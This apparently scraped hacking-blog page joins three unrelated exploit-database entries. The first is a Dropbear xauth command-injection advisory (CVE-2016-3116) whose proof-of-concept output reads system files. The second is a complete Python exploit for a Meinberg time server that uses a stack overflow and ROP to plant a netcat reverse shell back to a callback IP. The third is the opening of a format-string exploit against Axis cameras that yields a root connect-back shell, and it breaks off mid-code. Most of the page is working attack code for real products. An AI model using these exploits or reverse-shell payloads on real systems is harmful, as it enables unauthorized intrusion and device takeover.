Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108771

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

VuNote
============

	Author:		<github.com/tintinweb>
	Ref:		https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
	Version: 	0.2
	Date: 		Mar 3rd, 2016
	
	Tag:		dropbearsshd xauth command injection may lead to forced-command bypass

Overview
--------

	Name:			dropbear
	Vendor:			Matt Johnston
	References:		* https://matt.ucc.asn.au/dropbear/dropbear.html [1]
	
	Version:		2015.71
	Latest Version:	2015.71
	Other Versions:	<= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
	Platform(s):	linux
	Technology:		c

	Vuln Classes:	CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
	Origin:			remote
	Min. Privs.:	post auth

	CVE:			CVE-2016-3116



Description
---------

quote website [1]

>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.

Summary 
-------

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie. 
The newline acts as a command separator to the xauth binary. This attack requires 
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files, 
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass 
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the 
logged in user as the sshd already dropped its privileges. 

Quick-Info:

* requires: X11Forwarding yes
* does *NOT* bypass /bin/false due to special treatment (like nologin)
* bypasses forced-commands (allows arbitr. read/write)

Capabilities (xauth):

* Xauth
	* write file: limited chars, xauthdb format
	* read file: limit lines cut at first \s
	* infoleak: environment
	* connect to other devices (may allow port probing)


see attached PoC


Details
-------

// see annotated code below

	* x11req (svr-x11fwd.c:46)
      
    * execchild (svr-chansession.c:893)
     *- x11setauth (svr-x11fwd.c:129)

Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, dropbear will
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.

This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
command injection:

	SYNOPSIS
       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

		add displayname protocolname hexkey
		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
		[n]extract filename displayname...
		[n]list [displayname...]
		[n]merge [filename...]
		remove displayname...
		source filename
		info  
		exit
		quit
		version
		help
		?
		
Interesting commands are:
	
	info	 - leaks environment information / path
			~# xauth info
			xauth:  file /root/.Xauthority does not exist
			Authority file:       /root/.Xauthority
			File new:             yes
			File locked:          no
			Number of entries:    0
			Changes honored:      yes
			Changes made:         no
			Current input:        (argv):1
	
	source	 - arbitrary file read (cut on first `\s`)
			# xauth source /etc/shadow
			xauth:  file /root/.Xauthority does not exist
			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
						
	extract  - arbitrary file write 
			 * limited characters
	         * in xauth.db format
	         * since it is not compressed it can be combined with `xauth add` to 
	           first store data in the database and then export it to an arbitrary
	           location e.g. to plant a shell or do other things.
	
	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
			   vulnerabilities in X.org
	
	
Source
------

Inline annotations are prefixed with `//#!`

* handle x11 request, stores cookie in `chansess`
	```c
	/* called as a request for a session channel, sets up listening X11 */
	/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
	int x11req(struct ChanSess * chansess) {
	
		int fd;
	
		/* we already have an x11 connection */
		if (chansess->x11listener != NULL) {
			return DROPBEAR_FAILURE;
		}
	
		chansess->x11singleconn = buf_getbyte(ses.payload);
		chansess->x11authprot = buf_getstring(ses.payload, NULL);			//#! store user tainted data
		chansess->x11authcookie = buf_getstring(ses.payload, NULL);			//#! store user tainted data
		chansess->x11screennum = buf_getint(ses.payload);
	```
	
* set auth cookie/authprot

	```c
	/* This is called after switching to the user, and sets up the xauth
	 * and environment variables.  */
	void x11setauth(struct ChanSess *chansess) {
	
		char display[20]; /* space for "localhost:12345.123" */
		FILE * authprog = NULL;
		int val;
	
		if (chansess->x11listener == NULL) {
			return;
		}
	
		...
	
		/* popen is a nice function - code is strongly based on OpenSSH's */
		authprog = popen(XAUTH_COMMAND, "w");										//#!  run xauth binary
		if (authprog) {
			fprintf(authprog, "add %s %s %s\n",
					display, chansess->x11authprot, chansess->x11authcookie);		//#!  \n injection in cookie, authprot
			pclose(authprog);
		} else {
			fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
		}
	}
	```

Proof of Concept
----------------

Prerequisites: 

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* run `poc.py`

Note: see cve-2016-3115 [3] for `poc.py`

	 Usage: <host> <port> <username> <password or path_to_privkey>
	        
	        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
	        

poc:

1. configure one user (user1) for `force-commands`:
	```c 
	#PUBKEY line - force commands: only allow "whoami"
	#cat /home/user1/.ssh/authorized_keys
	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box

	#cat /etc/passwd
	user1:x:1001:1001:,,,:/home/user1:/bin/bash
	```
	    
2. run dropbearsshd (x11fwd is on by default)

	```c
	#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
	[22861] Not backgrounding
	[22862] Child connection from 192.168.139.1:49597
	[22862] Forced command 'whoami'
	[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
	```	

3. `forced-commands` - connect with user1 and display env information

	```c
	#> python <host> 2222 user1 .demoprivkey
	
	INFO:__main__:add this line to your authorized_keys file: 
	#PUBKEY line - force commands: only allow "whoami"
	#cat /home/user/.ssh/authorized_keys
	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
	
	INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
	INFO:__main__:connected!
	INFO:__main__:
	Available commands:
	    .info
	    .readfile <path>
	    .writefile <path> <data>
	    .exit .quit
	    <any xauth command or type help>
	
	#> .info
	DEBUG:__main__:auth_cookie: '\ninfo'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:Authority file:       /home/user1/.Xauthority
	File new:             no
	File locked:          no
	Number of entries:    2
	Changes honored:      yes
	Changes made:         no
	Current input:        (stdin):2
	user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	
	...
	```
	
4. `forced-commands` - read `/etc/passwd`

	```c
	...
	#> .readfile /etc/passwd
	DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:root:x:0:0:root:/root:/bin/bash
	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
	bin:x:2:2:bin:/bin:/usr/sbin/nologin
	sys:x:3:3:sys:/dev:/usr/sbin/nologin
	sync:x:4:65534:sync:/bin:/bin/sync
	...
	```
		
5. `forced-commands` - write `/tmp/testfile`

	```c
	#> .writefile /tmp/testfile1 `thisisatestfile`
	DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
	DEBUG:__main__:dummy exec returned: None
	DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
	DEBUG:__main__:dummy exec returned: None
	DEBUG:__main__:user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	
	#> INFO:__main__:/tmp/testfile1
	
	#> ls -lsat /tmp/testfile1
	4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
	
	#> cat /tmp/testfile1
	ú65500hiú65500`thisisatestfile`ªr
	```
	
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100

	```c
	#> generate 8.8.8.8:100
	DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	/usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".
	
	#> tcpdump 
	IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
	```	

Fix
---

* Sanitize user-tainted input `chansess->x11authcookie`


Mitigation / Workaround
------------------------

* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`

Notes
-----

Thanks to the OpenSSH team for coordinating the fix!

Vendor response see: changelog [4]


References
----------

	[1] https://matt.ucc.asn.au/dropbear/dropbear.html
	[2] http://linux.die.net/man/1/xauth
	[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
	[4] https://matt.ucc.asn.au/dropbear/CHANGES
	
Contact
-------

	https://github.com/tintinweb
            
#!/usr/bin/python
#
# EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit
# EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/
#
# 271 - trigger notifications
# 299 - copy user defined notifications

# Kernel Version: 2.6.15.1
# System Version: 530 
# Lantime configuration utility 1.27
# ELX800/GPS M4x V5.30p

import socket
import struct
import telnetlib
import sys
import time

if len(sys.argv) < 3:
	print "[-] <Host> <Callback IP> "
	exit(1)

	
host = sys.argv[1]
callback_ip = sys.argv[2]

print "[+] exploiting Meinburg M400"
port = 80

###################################################################
#
# Copy user_defined_notification to /www/filetmp
# Append reverse shell string to /file/tmp	
#
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8

#must have a listener setup to receive the callback connection on ip 192.168.60.232
# i.e. nc -v -l -p 4444
command = 'cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash</tmp/foo|{nc,' + callback_ip +'0,4444}>/tmp/foo;" >> /www/filetmp'

msg = "button=" + "A"*10028 
msg += struct.pack("I", system )
msg += struct.pack("I", exit )
msg += struct.pack("I", some_str )
msg += command + "\x00"

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

time.sleep(1)

###################################################################
#
# Copy /www/filetmp to user_defined_notification	
# 
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

send_cmd = 0x807ED88
system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8
ret = 0x804CE65

#stack pivot
stack_pivot = 0x8049488
msg = "button=" + "A" * 9756

msg += "B" * 28
msg += struct.pack("I", 0x7FFEE01A )       # ebp
msg += struct.pack("I", 0x0804ce64 )       # pop eax ; ret
msg += struct.pack("I", some_str - 0x100 ) # some place
msg += struct.pack("I", 0x080855cc )       # add dword ptr [eax + 0x60], ebp ; ret
msg += struct.pack("I", 0x080651d4 )       # inc dword ptr [ebx + 0x566808ec] ; ret
msg += struct.pack("I", ret ) * (71/4)

msg += struct.pack("I", send_cmd )
msg += struct.pack("I", exit )
msg += struct.pack("I", 0x80012111 )       # [eax + 0x60]
msg += struct.pack("I", some_str )         # buffer
msg += struct.pack("I", 0xffffffff )       # count
msg += "E" * 120

msg += struct.pack("I", 0xB1E8B434 )   # ebx
msg += struct.pack("I", some_str - 100 )   # esi
msg += struct.pack("I", some_str - 100 )   # edi
msg += struct.pack("I", some_str - 0x100 ) # ebp
msg += struct.pack("I", stack_pivot )      # mov esp, ebp ; ret
msg += "A" * 100

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close

time.sleep(1)

###################################################################
#
# Trigger reverse shell	
# 
	
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

send_cmd = 0x807ED88
system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8
ret = 0x804CE65

#stack pivot
stack_pivot = 0x8049488
msg = "button=" + "A" * 9756

msg += "B" * 28
msg += struct.pack("I", 0x7FFEE01A )       # ebp
msg += struct.pack("I", 0x0804ce64 )       # pop eax ; ret
msg += struct.pack("I", some_str - 0x100 ) # some place
msg += struct.pack("I", 0x080855cc )       # add dword ptr [eax + 0x60], ebp ; ret
msg += struct.pack("I", 0x080651d4 )       # inc dword ptr [ebx + 0x566808ec] ; ret
msg += struct.pack("I", ret ) * (71/4)

msg += struct.pack("I", send_cmd )
msg += struct.pack("I", exit )
msg += struct.pack("I", 0x800120f5 )       # [eax + 0x60]
msg += struct.pack("I", some_str )         # buffer
msg += struct.pack("I", 0xffffffff )       # count
msg += "E" * 120

msg += struct.pack("I", 0xB1E8B434 )   # ebx
msg += struct.pack("I", some_str - 100 )   # esi
msg += struct.pack("I", some_str - 100 )   # edi
msg += struct.pack("I", some_str - 0x100 ) # ebp
msg += struct.pack("I", stack_pivot )      # mov esp, ebp ; ret
msg += "A" * 100

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

time.sleep(1)


print "[+] cleaning up"
###################################################################
#
# Kill all mains that are hung-up
#
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8

command = 'killall main'

msg = "button=" + "A"*10028 
msg += struct.pack("I", system )
msg += struct.pack("I", exit )
msg += struct.pack("I", some_str )
msg += command + "\x00"

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

print "[+] enjoy"
            
#!/usr/bin/env python2.7
# 
# [SOF]
#
# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon
# Research and development by bashis <mcw noemail eu> 2016
#
# This format string vulnerability has following characteristic:
# - Heap Based (Exploiting string located on the heap)
# - Blind Attack (No output the remote attacker)(*)
# - Remotly exploitable (As anonymous, no credentials needed)
#
# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic.
#
# This exploit has following characteristic:
# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x]
# - Modifying LHOST/LPORT in shellcode on the fly
# - Manual exploiting of remote targets
# - Simple HTTPS support
# - Basic Authorization support (not needed for this exploit)
# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode
# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell)
# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root
# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root)
# - Multiple FMS exploit techniques
#   - "One-Write-Where-And-What" for MIPS and CRISv32
#     Using "Old Style" POP's
#     Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call
#     Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory.
#   - "Two-Write-Where-And-What" for ARM
#     1) "Old Style": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address
#     2) "New Style": ARM Arch's have both "Old Style" (>5.50.x) )POPs and "New Style" (<5.40.x) direct parameter access for POP/Write
#     [Big differnce in possibilities between "Old Style" and "New Style", pretty interesting actually]
# - Another way to POP with "Old Style", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x)
# - Exploit is quite well documented
#
# Anyhow,
# Everything started from this simple remote request:
#
# ---
# $ echo -en "GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\n\n" | netcat 192.168.0.90 80
# HTTP/1.1 500 Server Error
# Content-Type: text/html; charset=ISO-8859-1
#
# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD>
# <BODY><H1>500 Server Error</H1>
# The server encountered an internal error and could not complete your request.
# </BODY></HTML>
# ---
#
# Which gave this output in /var/log/messages on the remote device:
#
# ---
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data.
# ---
#
# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products
#
# ---
# $ netcat -vvlp 31337
# listening on [any] 31337 ...
# 192.168.0.90: inverse host lookup failed: Unknown host
# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz)
# pwd
# /usr/html
# ---
#
# Some technical notes:
#
# 1.  Direct addressing with %<argument>$%n is "delayed", and comes in force only after disconnect.
#     Old metod with POP's coming into force instantly
#
# 2.  Argument "0" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's)
#     - Would be interesting to investigate why.
#
# 3.  Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26
#     Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff
#
# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff
#     Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f
#
# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit:
#     Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!)
#
# 4.  Everything is randomized, except heap.
#
# 5.  My initial attempts to use ROP's was not good, as I didn't want to create
#     one unique FMS key by testing each single firmware version, and using ROP with FMS
#     on heap seems pretty complicated as there is one jump availible, maximum two.
#
# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case.
#    
# 6.  Encoded and Decoded shellcode located in .bss section.
# 6.1 FMS excecuted on heap
#
# 7.  Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM
# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs,
#     so execute shellcode on heap/stack may be impossible.
# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries,
#     and re-compile of the image.
# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute.
#
# 8.  This exploit are pretty well documented, more details can be extracted by reading
#     the code and comments.
#
# MIPS ssid maps
# 00400000-0040d000 r-xp 00000000 00:01 2272       /bin/ssid
# 0041d000-0041e000 rw-p 0000d000 00:01 2272       /bin/ssid
# 0041e000-00445000 rwxp 00000000 00:00 0          [heap]
#
# ARM ssid maps
# 00008000-00014000 r-xp 00000000 00:01 2055        /bin/ssid
# 0001c000-0001d000 rw-p 0000c000 00:01 2055        /bin/ssid
# 0001d000-00044000 rw-p 00000000 00:00 0           [heap]
#
# Crisv32 ssid maps
# 00080000-0008c000 r-xp 00000000 1f:03 115        /bin/ssid
# 0008c000-0008e000 rw-p 0000a000 1f:03 115        /bin/ssid
# 0008e000-000b6000 rwxp 0008e000 00:00 0          [heap]
#
# General notes:
#
# When the vul daemon process is exploited, and after popping root connect-back shell,
# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process,
# when the main process are fully alive again, I can enjoy the shell, and everybody else can
# enjoy of the camera - that should make all of us happy ;)
# During exploiting, logs says almost nothing, only that the main process restarted.
# Note: Not true with ARM Netcat PIPE shell (as the code will vfork() and wait until child exits)
#
# '&http_user=' is the vuln tag, and the FMS will be excecuted when it will try to do vsyslog(),
# after ssid cannot verify the user, free() are the closest function to be called after
# vsyslog(), needed and perfect to use for jumping.
# There is nothing shown for remote user, possible output of FMS are _only_ shown in log/console.
# So we are pretty blind, but due to fixed FMS keys, that doesn't matter for us - it's predictable by statistics.
#
# Quite surprised to see so many different devices and under one major release version,
# that's covered by one "FMS key". The "FMS key" are valid for all minor versions under the major version.
#
# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor,  
# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password.    
#
# - No hardcoded login/password that could easily be found in firmware/software files.    
# - Extremely hard to find without local access (and find out what to trigger for opening the door)
# - Nobody can not actually prove it is a sophisticated door for sure. "It's just another bug.. sorry! - here is the fixed version."
#   (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find)
#
# Note:
# I don't say that Axis Communication has made this hidden format string by this purpose.
# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon,    
# and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of logerr().
#
# Vulnerable and exploitable products
#
# A1001, A8004-VE, A9188, C3003, F34, F41, F44, M1124, M1124-E, M1125, M1125-E, M1145, M1145-L, M3006,
# M3007, M3026, M3027, M3037, M7010, M7011, M7014, M7016, P1125, P1353, P1354, P1355, P1357, P1364,
# P1365, P1405, P1405-E, P1405-LE, P1425-E, P1425-LE, P1427, P1427-E, P1435, P3214, P3214-V, P3215,
# P3215-V, P3224, P3224-LVE, P3225-LV, P3353, P3354, P3363, P3364, P3364-L, P3365, P3367, P3384,
# P3707-PE, P3904, P3904-R, P3905, P3915-R, P5414-E, P5415-E, P5514, P5514-E, P5515, P5515-E, P5624,
# P5624-E, P5635-E, P7210, P7214, P7216, P7224, P8535, Q1602, Q1604, Q1614, Q1615, Q1635, Q1635-E,
# Q1765-LE, Q1765-LE-PT, Q1775, Q1931-E, Q1931-E-PT, Q1932-E, Q1932-E-PT, Q1941-E, Q2901-E, Q2901-E-PT,
# Q3504, Q3505, Q6000-E, Q6042, Q6042-C, Q6042-E, Q6042-S, Q6044, Q6044-C, Q6044-E, Q6044-S, Q6045,
# Q6045-C, Q6045-E, Q6045-S, Q6114-E, Q6115-E, Q7411, Q7424-R, Q7436, Q8414, Q8414-LVS, Q8631-E, Q8632-E,
# Q8665-E, Q8665-LE, V5914, V5915, M1054, M1103, M1104, M1113, M1114, M2014-E, M3014, M3113, M3114, M3203,
# M3204, M5013, M5014, M7001, P12/M20, P1204, P1214, P1214-E, P1224-E, P1343, P1344, P1346, P1347, P2014-E,
# P3301, P3304, P3343, P3344, P3346, P3346-E, P5512, P5512-E, P5522, P5522-E, P5532, P5532-E, P5534, P5534-E,
# P5544, P8221, P8513, P8514, P8524, Q1755, Q1910, Q1921, Q1922, Q6032, Q6032-C, Q6032-E, Q6034, Q6034-C,
# Q6034-E, Q6035, Q6035-C, Q6035-E, Q7401, Q7404, Q7406, Q7414, Q8721-E, Q8722-E, C, M1004-W, M1011, M1011-W,
# M1013, M1014, M1025, M1031-W, M1033-W, M1034-W, M1143-L, M1144-L, M3004, M3005, M3011, M3024, M3024-L,
# M3025, M3044-V, M3045-V, M3046-V, P1311, P1428-E, P7701, Q3709-PVE, Q3708-PVE, Q6128-E... and more
#
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
#
# Firmware versions vulnerable to the SSI FMS exploit
#
# ('V.Vx' == The FMS key used in this exploit)
#
# Firmware	Introduced	CRISv32		MIPS		ARM (no exec heap from >5.20.x)
# 5.00.x	2008		-		-		no
# 5.01.x	2008		no		-		no
# 5.02.x	2008		no		-		-
# 5.05.x	2009		no		-		-
# 5.06.x	2009		no		-		-
# 5.07.x	2009		no		-		no
# 5.08.x	2010		no		-		-
# 5.09.x	2010		no		-		-
# 5.10.x	2009		no		-		-
# 5.11.x	2010		no		-		-
# 5.12.x	2010		no		-		-
# 5.15.x	2010		no		-		-
# 5.16.x	2010		no		-		-
# 5.20.x	2010-2011	5.2x		-		5.2x
# 5.21.x	2011		5.2x		-		5.2x
# 5.22.x	2011		5.2x		-		-
# 5.25.x	2011		5.2x		-		-
# 5.40.x	2011		5.4x		5.4x		5.4x
# 5.41.x	2012		5.4x		-		-
# 5.50.x	2013		5.5x		5.5x		5.4x
# 5.51.x	2013		-		5.4x		-
# 5.55.x	2013		-		5.5x		5.5x
# 5.60.x	2014		-		5.6x		5.6x
# 5.65.x	2014-2015	-		5.6x		-
# 5.70.x	2015		-		5.7x		-
# 5.75.x	2015		-		5.7x		5.7x
# 5.80.x	2015		-		5.8x		5.8x
# 5.81.x	2015		-		5.8x		-
# 5.85.x	2015		-		5.8x		5.8x
# 5.90.x	2015		-		5.9x		-
# 5.95.x	2016		-		5.9x		5.8x
# 6.10.x	2016		-		6.1x		-
# 6.15.x	2016		-		-		6.1x
# 6.20.x	2016		-		6.2x		-
#
# Vendor URL's of still supported and affected products
#
# http://www.axis.com/global/en/products/access-control
# http://www.axis.com/global/en/products/video-encoders
# http://www.axis.com/global/en/products/network-cameras
# http://www.axis.com/global/en/products/audio
#
# Axis Product Security
#
# product-security@axis.com
# http://www.axis.com/global/en/support/product-security
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
# http://www.axis.com/global/en/support/faq/FAQ116268
#
# Timetable
#
# - Research and Development: 06/01/2016 - 01/06/2016
# - Sent vulnerability details to vendor: 05/06/2016
# - Vendor responce received: 06/06/2016
# - Vendor ACK of findings received: 07/06/2016
# - Vendor sent verification image: 13/06/2016
# - Confirmed that exploit do not work after vendors correction: 13/06/2016
# - Vendor informed about their service release(s): 29/06/2016
# - Sent vendor a copy of the (this) PoC exploit: 29/06/2016
# - Full Disclosure: 18/07/2016
#
# Quote of the day: Never say "whoops! :o", always say "Ah, still interesting! :>"
#
# Have a nice day
# /bashis
#
#####################################################################################

import sys
import string
import socket
import time
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import re


class do_FMS:

#	POP = "%8x"		# Old style POP's with 8 bytes per POP
	POP = "%1c"		# Old style POP's with 1 byte per POP
	WRITElln = "%lln"	# Write 8 bytes
	WRITEn = "%n"		# Write 4 bytes
	WRITEhn = "%hn"		# Write 2 bytes
	WRITEhhn = "%hhn"	# Write 1 byte

	def __init__(self,targetIP,verbose):
		self.targetIP = targetIP
		self.verbose = verbose
		self.fmscode = ""

	# Mostly used internally in this function
	def Add(self, data):
		self.fmscode += data

	# 'New Style' Double word (8 bytes)
	def AddDirectParameterLLN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$lln')

	# 'New Style' Word (4 bytes)
	def AddDirectParameterN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$n')

	# 'New Style' Half word (2 bytes)
	def AddDirectParameterHN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$hn')

	# 'New Style' One Byte (1 byte)
